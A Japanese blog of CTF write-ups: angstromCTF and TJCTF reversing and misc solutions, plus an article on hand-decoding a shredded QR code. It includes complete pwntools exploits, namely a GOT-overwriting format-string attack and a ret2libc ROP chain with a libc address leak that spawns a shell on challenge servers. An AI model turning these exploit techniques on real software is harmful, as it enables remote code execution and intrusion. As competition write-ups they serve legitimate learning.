from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='***') conn.set_working_directory('/problems/2019/returns') pro = conn.process('./returns') main_addr = 0x4011a6 strlen_got = 0x404020 puts_got = 0x404018 #in libc system_offset = 0x45390 puts_offset = 0x6f690 strlen_offset = 0x8b720 buf_off = 32 payload = "%" + str(0x40) + "x" payload += "%" + str(8+buf_off/8) + "$hn" payload += "%" + str(0x11a6-0x40) + "x" payload += "%" + str(8+buf_off/8+1) + "$hn" payload += "A" * (buf_off - len(payload)) payload += p64(0xff404018+0x2) #0xff will be replaced to 0x00 payload += p64(puts_got) pro.recvuntil("return? ") pro.sendline(payload) payload = "%" + str(8+buf_off/8) + "$s" payload += "A" * (buf_off -len(payload)) payload += p64(0xff404020) #0xff will be replaced to 0x00 pro.recvuntil("return? ") pro.sendline(payload) pro.recvuntil("you a ") strlen_libc = pro.recvuntil("A") strlen_libc = strlen_libc[0:len(strlen_libc)-1] strlen_libc += "\x00"*(8-len(strlen_libc)) strlen_libc = u64(strlen_libc) system_libc = strlen_libc - strlen_offset + system_offset first = system_libc & 0xffff second = (system_libc >> 16) & 0xffff second = second + 0x10000 - first payload = "%" + str(first) + "x" payload += "%" + str(8+buf_off/8) + "$hn" payload += "%" + str(second) + "x" payload += "%" + str(8+buf_off/8+1) + "$hn" payload += "A" * (buf_off - len(payload)) payload += p64(0xff404020) #0xff will be replaced to 0x00 payload += p64(strlen_got+2) pro.recvuntil("return? ") pro.sendline(payload) pro.recvuntil("return? ") print "strlen :" + hex(strlen_libc) print "system : " + hex(system_libc) print "first : " + hex(first) print "second : " + hex(second) pro.interactive()
interactiveモードになったら/bin/shなりcat flag.txtなり入力する
FLAG:actf{no_returns_allowed}
misc
Blank Paper(30pt)
壊れたpdfが配られるので、バイナリエディタで開くと最初の4バイトがnullになっているので、asciiで"%PDF"に書き換えてあげる。
FLAG:actf{knot_very_interesting}
Paper Bin(40pt)
.datファイルが配布される。binwalkでみると色々pdfやらが入ってそう
foremostに投げるといくつかpdfを取り出してくれてそのうちの一つ00011880.pdfにflagが
FLAG:actf{proof_by_triviality}
Just Letters(60pt)
問題文の中にリンクとサーバー
https://esolangs.org/wiki/AlphaBeta
サーバーにつなぐとこんな感じ
$ nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: >
メモリを読み出せば良いらしく、リンク先のHello World!の例文をみると、register 3にセットしたものを出力できるらしいので、メモリから1文字ずつregister 1にセットしそれをregister 3にコピーしoutputを繰り返す。一つのループは"GCLS"で出来るのでこれを適当に繰り返す。
brainfuckの一種か
FLAG:actf{esolangs_sure_are_fun!}
まとめ
楽しかた
お疲れした
何かあればコメントください
TJCTF writeup
久しぶりの更新、生きています。
TJCTFで僕が解いた問題のwriteupを書きます
TJCTFリンクhttps://tjctf.org/
Python in One Line (rev 10pt)
問題文
It's not code golf but it's something...
one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .
ソースコードが配られる
# one.py print(' '.join([{'a':'...-', 'b':'--..', 'c':'/', 'd':'-.--', 'e':'.-.', 'f':'...', 'g':'.-..', 'h':'--', 'i':'---', 'j':'-', 'k':'-..-', 'l':'-..', 'm':'..', 'n':'.--', 'o':'-.-.', 'p':'--.-', 'q':'-.-', 'r':'.-', 's':'-...', 't':'..', 'u':'....', 'v':'--.', 'w':'.---', 'y':'..-.', 'x':'..-', 'z':'.--.', '{':'-.', '}':'.'}[i] for i in input('What do you want to secrify? ')]))
アルファベットと符号化された対応がわかるので、デコードする。
Checker (rev 30pt)
問題文
Found a flag checker program that looked pretty sketchy. Take a look at it.
file
配られるのはjavaファイル
import java.util.*; public class Checker{ public static String wow(String b, int s){ String r = ""; for(int x=s; x<b.length()+s; x++){ r+=b.charAt(x%b.length()); } return r; } public static String woah(String b){ String r = ""; for(int x=0; x<b.length(); x++){ if(b.charAt(x)=='0') r+='1'; else r+='0'; } return r; } public static String encode(String plain){ String b = ""; Stack<Integer> t = new Stack<Integer>(); for(int x=0; x<plain.length(); x++){ int i = (int)plain.charAt(x); t.push(i); } for(int x=0; x<plain.length(); x++){ b+=Integer.toBinaryString(t.pop()); } b = woah(b); = wow(b,9); System.out.println(b); return b; } public static boolean check(String flag, String encoded){ if(encode(flag).equals(encoded)) return true; return false; } public static void main(String[] args){ String flag = "redacted"; String encoded = "1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000"; System.out.println(check(flag,encoded)); } }
エンコード方法は文字列をasciiに変換しスタックにpush。その後スタックからpopし2進数の文字列に変換("AB"だったら0x41,0x42なので10000011000010)。その後0と1を反転させ、9個左にローテーションさせる。
デコードはその逆順を辿ればいいのだが、アルファベットをエンコードすると1文字あたり長さが7になるのだが、数字などをエンコードすると長さが6になるので('1' -> 0x31 -> 110001)、どこで区切ればいいかわからんってなったので、フォーマットがtjctf{***}であることはわかっているので、それっぽいleet表現の文字列に直した。これ全探索以外に綺麗にコードでかけないよな。
FLAG: tjctf{qu1cks1c3}
Broken Parrot (rev 40pt)
問題文
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.
バイナリファイルがもらえる。
$file parrot parrot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=ff7e4f0e71b221eb66d9be600b39895862fd9bdd, not stripped
32bit 動的リンク not stripped
$strings parrot | grep tjctf tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}
しかしこれはダミー。gdbで開く。
$gdb ./parrot gdb-peda$ pdisas main Dump of assembler code for function main: ... ... 0x0804852e <+99>: mov DWORD PTR [ebp-0x50],0x1 0x08048535 <+106>: mov DWORD PTR [ebp-0x4c],0x0 0x0804853c <+113>: cmp DWORD PTR [ebp-0x4c],0x5 0x08048540 <+117>: jg 0x8048569 <main+158> 0x08048542 <+119>: lea edx,[ebp-0x3f] 0x08048545 <+122>: mov eax,DWORD PTR [ebp-0x4c] 0x08048548 <+125>: add eax,edx 0x0804854a <+127>: movzx edx,BYTE PTR [eax] 0x0804854d <+130>: mov eax,DWORD PTR [ebp-0x4c] 0x08048550 <+133>: add eax,0x804a040 0x08048555 <+138>: movzx eax,BYTE PTR [eax] 0x08048558 <+141>: cmp dl,al 0x0804855a <+143>: je 0x8048563 <main+152> 0x0804855c <+145>: mov DWORD PTR [ebp-0x50],0x0 0x08048563 <+152>: add DWORD PTR [ebp-0x4c],0x1 0x08048567 <+156>: jmp 0x804853c <main+113> 0x08048569 <+158>: mov DWORD PTR [ebp-0x48],0x0 0x08048570 <+165>: cmp DWORD PTR [ebp-0x48],0x2 0x08048574 <+169>: jg 0x804859f <main+212> 0x08048576 <+171>: mov eax,DWORD PTR [ebp-0x48] 0x08048579 <+174>: add eax,0x6 0x0804857c <+177>: movzx edx,BYTE PTR [ebp+eax*1-0x3f] 0x08048581 <+182>: mov eax,DWORD PTR [ebp-0x48] 0x08048584 <+185>: add eax,0xe 0x08048587 <+188>: movzx eax,BYTE PTR [eax+0x804a040] 0x0804858e <+195>: cmp dl,al 0x08048590 <+197>: je 0x8048599 <main+206> 0x08048592 <+199>: mov DWORD PTR [ebp-0x50],0x0 0x08048599 <+206>: add DWORD PTR [ebp-0x48],0x1 0x0804859d <+210>: jmp 0x8048570 <main+165> 0x0804859f <+212>: mov DWORD PTR [ebp-0x44],0x0 0x080485a6 <+219>: cmp DWORD PTR [ebp-0x44],0x16 0x080485aa <+223>: jg 0x80485d5 <main+266> 0x080485ac <+225>: mov eax,DWORD PTR [ebp-0x44] 0x080485af <+228>: add eax,0xa 0x080485b2 <+231>: movzx edx,BYTE PTR [ebp+eax*1-0x3f] 0x080485b7 <+236>: mov eax,DWORD PTR [ebp-0x44] 0x080485ba <+239>: add eax,0x1b 0x080485bd <+242>: movzx eax,BYTE PTR [eax+0x804a040] 0x080485c4 <+249>: cmp dl,al 0x080485c6 <+251>: je 0x80485cf <main+260> 0x080485c8 <+253>: mov DWORD PTR [ebp-0x50],0x0 0x080485cf <+260>: add DWORD PTR [ebp-0x44],0x1 0x080485d3 <+264>: jmp 0x80485a6 <main+219> 0x080485d5 <+266>: movzx eax,BYTE PTR [ebp-0x36] 0x080485d9 <+270>: cmp al,0x64 0x080485db <+272>: je 0x80485e4 <main+281> 0x080485dd <+274>: mov DWORD PTR [ebp-0x50],0x0 0x080485e4 <+281>: cmp DWORD PTR [ebp-0x50],0x0 0x080485e8 <+285>: je 0x80485ff <main+308> ... ... End of assembler dump.
main+99~main+156でinputの最初の6文字を比較している。比較するのはダミーが入っている0x804a040の中身。
main+158~main+210でinputの次の3文字と0x804a040+0xeからの3文字を比較している。
main+212~main+264でinputの11文字目から23文字と0x804a040+0x1bからを比較している。
main+266~main+270でinputの10文字目が0x64('D')であるかどうか比較している。
FLAG: tjctf{3d_D0n7_y0u_l34v3_m3_4l0n3}
don't you leave me alone ... 悲C
Invalidator (rev 70pt)
問題文
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!
$file invalidator invalidator: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3583ac8cbf9f4a9128376ebaa5775ff78f9b08ba, not stripped $strings invalidator ... ... tjct f{0h _my_ 4_51 mpl3 70n_ 4_r3 d_h3 rr1n 6_f0 r_7h UWVS t$,U ... ...
しかしこれもダミー。これにxorするとかでもなくまじで関係ないやつだった。
gdbで見るとプログラムの第一引数と何かを比較する感じ。肝心なのは自作関数strcmp。
gdb-peda$ pdisas strcmp Dump of assembler code for function strcmp: 0x080484ab <+0>: push ebp 0x080484ac <+1>: mov ebp,esp 0x080484ae <+3>: sub esp,0x10 => 0x080484b1 <+6>: mov DWORD PTR [ebp-0x4],0x0 0x080484b8 <+13>: jmp 0x80484cd <strcmp+34> 0x080484ba <+15>: mov edx,DWORD PTR [ebp-0x4] 0x080484bd <+18>: mov eax,DWORD PTR [ebp+0xc] 0x080484c0 <+21>: add eax,edx 0x080484c2 <+23>: movzx eax,BYTE PTR [eax] 0x080484c5 <+26>: test al,al 0x080484c7 <+28>: je 0x8048512 <strcmp+103> 0x080484c9 <+30>: add DWORD PTR [ebp-0x4],0x1 0x080484cd <+34>: mov eax,DWORD PTR [ebp-0x4] 0x080484d0 <+37>: shl eax,0x2 0x080484d3 <+40>: add eax,0x2 0x080484d6 <+43>: mov eax,DWORD PTR [eax*4+0x804a040] 0x080484dd <+50>: mov ecx,DWORD PTR [ebp-0x4] 0x080484e0 <+53>: mov edx,DWORD PTR [ebp+0xc] 0x080484e3 <+56>: add edx,ecx 0x080484e5 <+58>: movzx edx,BYTE PTR [edx] 0x080484e8 <+61>: movsx ecx,dl 0x080484eb <+64>: mov edx,DWORD PTR [ebp-0x4] 0x080484ee <+67>: shl edx,0x2 0x080484f1 <+70>: mov edx,DWORD PTR [edx*4+0x804a040] 0x080484f8 <+77>: xor ecx,edx 0x080484fa <+79>: mov edx,DWORD PTR [ebp-0x4] 0x080484fd <+82>: add edx,0x40 0x08048500 <+85>: shl edx,0x2 0x08048503 <+88>: mov edx,DWORD PTR [edx*4+0x804a040] 0x0804850a <+95>: xor edx,ecx 0x0804850c <+97>: cmp eax,edx 0x0804850e <+99>: je 0x80484ba <strcmp+15> 0x08048510 <+101>: jmp 0x8048513 <strcmp+104> 0x08048512 <+103>: nop 0x08048513 <+104>: cmp DWORD PTR [ebp-0x4],0x28 0x08048517 <+108>: sete al 0x0804851a <+111>: movzx eax,al 0x0804851d <+114>: leave 0x0804851e <+115>: ret
どうやら0x804a040からのデータと比較している。
これもgdbで見てみよう。
gdb-peda$ x/20x 0x804a040 0x804a040 <r>: 0x0000004d 0x00000071 0x00000059 0x000000a1 0x804a050 <r+16>: 0x000000bb 0x00000040 0x000000f9 0x0000000e 0x804a060 <r+32>: 0x0000004b 0x00000085 0x000000a8 0x0000003a 0x804a070 <r+48>: 0x000000ca 0x00000052 0x0000009c 0x00000082 0x804a080 <r+64>: 0x00000014 0x0000008a 0x000000ca 0x00000077
明らかに人の手で作り込んだようなデータがある。しかもrというシンボル名が付いている。
$readelf -s ./invalidator ... ... 52: 0804a040 2048 OBJECT GLOBAL DEFAULT 25 r ... ... $hexdump -C ./invalidator | grep 4d 000004d0 c1 e0 02 83 c0 02 8b 04 85 40 a0 04 08 8b 4d fc |.........@....M.| 00000540 4d f4 31 c9 83 38 01 7f 20 8b 45 b4 8b 00 83 ec |M.1..8.. .E.....| 00000610 ff 8b 4d fc c9 8d 61 fc c3 66 90 66 90 66 90 90 |..M...a..f.f.f..| 000007b0 69 0e 24 44 0e 28 44 0e 2c 41 0e 30 4d 0e 20 47 |i.$D.(D.,A.0M. G| 00001040 4d 00 00 00 71 00 00 00 59 00 00 00 a1 00 00 00 |M...q...Y.......| 000014d0 33 00 00 00 14 00 00 00 6f 00 00 00 55 00 00 00 |3.......o...U...| 00001680 a2 00 00 00 9d 00 00 00 0d 00 00 00 4d 00 00 00 |............M...| 00001710 c2 00 00 00 7f 00 00 00 4d 00 00 00 19 00 00 00 |........M.......| 00001dc0 4d 45 5f 45 4e 44 5f 5f 00 5f 5f 4a 43 52 5f 45 |ME_END__.__JCR_E| 00001de0 79 5f 65 6e 64 00 5f 44 59 4e 41 4d 49 43 00 5f |y_end._DYNAMIC._| 00001e00 74 00 5f 5f 47 4e 55 5f 45 48 5f 46 52 41 4d 45 |t.__GNU_EH_FRAME| 00001e30 63 5f 63 73 75 5f 66 69 6e 69 00 5f 49 54 4d 5f |c_csu_fini._ITM_| 00001e40 64 65 72 65 67 69 73 74 65 72 54 4d 43 6c 6f 6e |deregisterTMClon| 00001f40 73 73 65 73 00 5f 5f 54 4d 43 5f 45 4e 44 5f 5f |sses.__TMC_END__| 00001f50 00 5f 49 54 4d 5f 72 65 67 69 73 74 65 72 54 4d |._ITM_registerTM| 000024d0 00 00 00 00 01 00 00 00 01 00 00 00 11 00 00 00 |................|
readelfでサイズが2048、hexdumpで最初の4dを調べて見ると0x1040からrがあることがわかる。(他になんか便利なコマンドあったはずだが忘れた)
solve.cではrは実際には4バイトずつにしか値が入ってないので長さ512の配列を用意して、バイナリファイルから直に読み込んだ。デコードする操作はアセンブリをみて理解する。
//solve.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main() { char r[512]; int fd; fd = open("./invalidator", O_RDONLY); if(fd < 0){ printf("error"); exit(0); } int i; for(i = 0; i < 512; i++){ lseek(fd, 0x1040+i*4, SEEK_SET); read(fd, &(r[i]), 1); } char flag; for(i = 0; i < 0x29; i++){ flag = r[i*4+2] ^ r[i*4] ^ r[(i+0x40)*4]; printf("%c", flag); } printf("\n"); return 0; }
FLAG: tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}
Silly Sledshop (pwn 80pt)
問題文
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.
nc p1.tjctf.org 8010
ご丁寧にcのソースまである。
#include <stdio.h> #include <stdlib.h> void shop_setup() { gid_t gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, NULL); } void shop_list() { printf("The following products are available:\n"); printf("| Saucer | $1 |\n"); printf("| Kicksled | $2 |\n"); printf("| Airboard | $3 |\n"); printf("| Toboggan | $4 |\n"); } void shop_order() { int canary = 0; char product_name[64]; printf("Which product would you like?\n"); gets(product_name); if (canary) printf("Sorry, we are closed.\n"); else printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name); } int main(int argc, char **argv) { shop_setup(); shop_list(); shop_order(); return 0; }
shop_orderのgetsでoverflowが起こせる。自作canaryは0にすることもできるが、上書きしてしまっても今回は問題ない。
まずはrpでpop,retのガジェットを検索して、putsを利用し、puts@gotとgets@gotの中身をリークし、サーバーのlibcを特定する。
# leek.py from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "p1.tjctf.org" PORT = 8010 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./sledshop') puts_plt = 0x80483f0 gets_got = 0x804a014 puts_got = 0x804a01c pop_edx_ret = 0x08048395 payload = "A"*0x50 payload += p32(puts_plt) payload += p32(pop_edx_ret) payload += p32(gets_got) payload += p32(puts_plt) payload += "AAAA" payload += p32(puts_got) conn.recvuntil("like?") conn.sendline(payload) conn.recvuntil("closed.\n") libc_gets = conn.recvline() libc_puts = conn.recvline() print "libc_gets = " + hex(u32(libc_gets[0:4])) print "libc_puts = " + hex(u32(libc_puts[0:4])) conn.interactive()
getsとputsのアドレスがわかったら、
https://libc.blukat.me/
に入力してlibcを特定、/bin/shとsystemのオフセットも特定。このサイトマジで便利だな。
あとはASLRを回避するためにputsのアドレスをリークしつつ、もう一度shop_order関数に戻り、もう一度getsに対してoverflowを仕掛ける。
#solver.py from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "p1.tjctf.org" PORT = 8010 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./sledshop') #in libc system_offset = 0x3a940 binsh_offset = 0x15902b puts_offset = 0x5f140 puts_plt = 0x80483f0 puts_got = 0x804a01c pop_edx_ret = 0x08048395 shop_order = 0x80485bc payload = "A"*0x50 payload += p32(puts_plt) payload += p32(shop_order) payload += p32(puts_got) conn.recvuntil("like?") conn.sendline(payload) conn.recvuntil("closed.\n") libc_puts = conn.recvline() libc_puts = u32(libc_puts[0:4]) print "libc_puts = " + hex(libc_puts) libc_base = libc_puts - puts_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset print "system_addr = " + hex(system_addr) print "binsh_addr = " + hex(binsh_addr) payload = "A"*0x50 payload += p32(system_addr) payload += "A"*4 payload += p32(binsh_addr) conn.recvuntil("like?") conn.sendline(payload) conn.recvuntil("closed.\n") conn.interactive()
FLAG: tjctf{5l3dd1n6_0mk4r_15_h4ppy_0mk4r}
総括
この間、人の書いたwriteupをみてlibcを特定するサイトを知ったのだが、早速使える場面が来て、嬉しい。最近rev,pwn担当として、非力ながらチームに参加させてもらったので、頑張っていきたい。
てかCTF楽しい。早く研究室とか就活とか終わらせて、卒業したい。社会人になったらやる元気あるのかな。
今後もよろしくお願いしますわ。
気合いで読むQRコード入門
この記事はKCS Advent Calendar 16日目の記事です。
概要
以前参加したSquareCTFでQRコードに関する問題が出たのでその解説をしていこうと思います。この問題に取り組むとQRコードの仕組みが大枠理解でき、カメラがなくてもQRコードを読めるようになります!(ホンマか!?)
別にCTFに参加したことがなくても聞いたことがなくても解けるレベルの問題なので興味のある方は記事を読む前に挑戦してみると面白いかもしれません。あと入門と書いてありますが続きはないです。
挑戦する方向けに、CTFでは回答さえ合っていれば良く、そのプロセスは問われないのでどう解いても構いません。QRの仕様についてはググったりしてもらっても全然大丈夫です。うまく復元できると、とある文字列が手に入るはずです(この大会では"FLAG"という文字列が含まれることがわかっています)。
問題のリンク
SquareCTF2018 C3 shredded
squarectf.com
解説
配布されたファイルを解凍すると27個の細長い画像ファイルが手に入ります。これが問題のタイトルからもわかるように、縦に分割されたQRコードです。
↑こんなのが27枚
なんとなーくこれらをつなぎ合わせればQRコードになりそうなのが推測できますね!(?)
復元するに当たってQRコードの仕組みを大枠知っておく必要がありそうです。僕は以下のサイトを参考にしました。
(1)http://eleclog.quitsq.com/2014/01/seccon-ctf-2013-online-forensics-400.html
(2)http://www.swetake.com/qrcode/qr1.html
(3)http://nlab.itmedia.co.jp/nl/articles/1801/31/news008.html
QRコードにも色々種類があるらしい。まずバージョンですが、配布された画像を何枚か観察すると、縦は21マスであることから今回はバージョン1のようです。そうなると27枚の画像のうちの真っ白の6枚は画像の両端になることがわかります。このようにまずは位置が確定できるものを探しましょう。バージョン1の場合は以下の画像の位置は固定なようです。
(画像は(2)のリンクより)
また上の画像の水色の部分に誤り訂正レベルやマスクパターンの情報が入るようです。これらは二箇所に同じ情報が同じ順番に15マスに渡って格納されます。以下の画像は今回の問題とは少し違うフォーマットですが、水色の部分の構造は同じです。
(画像は(3)のリンクより)
これらの情報を元に画像を埋めて行くと1,2,5,6,7,8,9,14,15,21列目が確定します。1列目や7列目は比較的確定するのが簡単ですが、5,9,15,21列目などは2対の15マスの形式情報が一致することを利用して絞っていきます。残りの画像のそれぞれの行の特徴から組み合わせを推測すると、3,4行目が2つ、16,20行目が2つ、17,18,19行目が3つ、10~13列目は7行目が白黒交互になることから、10,12行目で、11,13行目でそれぞれ2つとなりました。この時点で2x2x2x2x3!の96通りまで絞ることができました。
QRのルールを用いて絞って行くのはここまでが限界です(多分)。なのでここからは生のQRコードを読んで行きましょう笑。
QRコードの読み方は右下から2列に渡ってジグザグに読んで行きます。言葉だと伝わりにくいので、図を見てもらいましょう。
(画像は(3)のリンクより)
20列目になりうる画像は2つに絞れているので確定している21列目と合わせて見ましょう。
① ②
しかしQRコードはこのままだと読むことができません。先ほどのリンクを読んでいただければわかるのですが、QRコードにはマスクがかかっています。そのマスクを解かなければいくら気合いがあっても読むことができません。しかもマスクにも何種類かあるらしい。。。
(画像は(1)のリンクより)
今回はラッキーなことに先程までの手順で絞れている画像からマスクパターンがわかります。この問題では(i+j)%3=0のところにマスクがかけられているようです。この式は一番左上の座標を(0,0)、右下を(20,20)とした時のi行目、j列目の座標(i,j)についての式です。上だと21列目と書いていたところは(i,21)ではなく(i,20)となることに注意してください。例えば(19,20)の座標は(19+20)%3=0を満たすので、1(黒)でxorします。
さてゴリゴリ読んで行きましょう。
①の画像は000001010100100010100100で②の画像は010000010100110011110000なのがわかります。これに先ほどのマスクをかけます。20,21行目にかけるマスクは011000011000011000011000であるので、
① 000001010100100010100100 xor 011000011000011000011000 <-mask ------------------------------------- 011001001100111010111100 ② 010000010100110011110000 xor 011000011000011000011000 <-mask ------------------------------------- 001000001100101011101000
得られたbit列を精査して行きます。QRコードでは最初の4bitはモードを表します。数字モードなら0001、英数字モードなら0010、8bitモードなら0100、漢字モードなら1000です。①は0110、②は0010なので①の可能性が絶たれたと同時に今回は英数字モードであることがわかります。②と特定できましたが、他の列も特定するためにまだゴリゴリデコードして行きます。4bit以降に続くbitにはデータの文字数の情報が入っています。英数字モードだとこれを9bitで表すそうです。②の5bit目以降を見ると000011001であり、これを10進数に直すと25です。つまりデータ総数は25文字であることがわかります。おお!徐々に読めてきていますねぇ。感動します。
この文字数に続くbitから生のデータです。英数字モードでは11bit区切りでデータが格納されています。20,21行目の残りのbitも11bitなのでデコードして行きましょう。英数字モードではデータの格納がかなり特殊で、11bitのデータに2文字の情報が入っています。11bitのデータを10進数に直して、それを45で割った商が1文字目、余りが2文字目という構造をしています。8bitモードだと普通のasciiに準拠しているのですが、英数字モードは特殊な変換が必要なのですね。以下のリンクのテーブルを参照してデコードしましょう。
http://www.swetake.com/qrcode/qr_table1.html
今回の続きは01011101000なので、10進数に直すと744です。744=16*45+24で、テーブルで16と24のところを引くと、出てくる2文字”GO”であることがわかります。
おおお!QRコードをカメラなしで読めています!ゾクゾクしますね!この調子です!
続く18,19行目も上記同様にゴリゴリ読んでください(書くの疲れた)。18,19行目になりうるのは3つに絞られているので、6通りの組み合わせをそれぞれデコードすると"GO"に続く文字であることから、どれが正しいかわかると思います。
これで16,18,19,20行目が特定できたので、あとは2x2x2の8通りに持ち込むことができました。まだまだゴリ押ししても構いませんが、これくらいに絞れたら全通り試せる数字になってきたので僕は全通り試して、実際にカメラに読み込ませました(←!?)。解ければいいんですよ解ければね。
ということで以下が修復されたQRコードです!!
お疲れ様でした〜。